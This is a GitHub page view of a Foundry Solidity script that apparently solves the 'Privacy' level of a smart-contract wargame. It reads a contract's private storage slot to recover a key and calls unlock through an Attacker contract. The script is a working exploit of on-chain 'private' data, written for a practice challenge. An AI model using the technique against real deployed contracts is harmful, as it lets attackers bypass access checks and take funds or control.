-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathlevel12.s.sol
44 lines (31 loc) · 1.02 KB
/
level12.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Privacy} from "../src/level12/Privacy.sol";
contract Attacker {
Privacy level;
constructor(address level_) {
level = Privacy(level_);
}
function attack(bytes16 _key) public {
level.unlock(_key);
}
}
contract CallContractScript is Script {
function run() external {
// 指定私钥,可以从环境变量中获取,例如:process.env.PRIVATE_KEY
uint256 privateKey = vm.envUint("PRIVATE_KEY");
// 初始化一个签名者
vm.startBroadcast(privateKey);
address levelAddr = 0x477C9b8Afa15DcF950fbAeEd391170C0eb0534C3;
Attacker attacker = new Attacker(levelAddr);
uint256 levelDataSlotStartIdx = 3;
bytes32 dataInPos2 = vm.load(
levelAddr,
bytes32(levelDataSlotStartIdx + 2)
);
bytes16 _key = bytes16(dataInPos2);
attacker.attack(_key);
vm.stopBroadcast();
}
}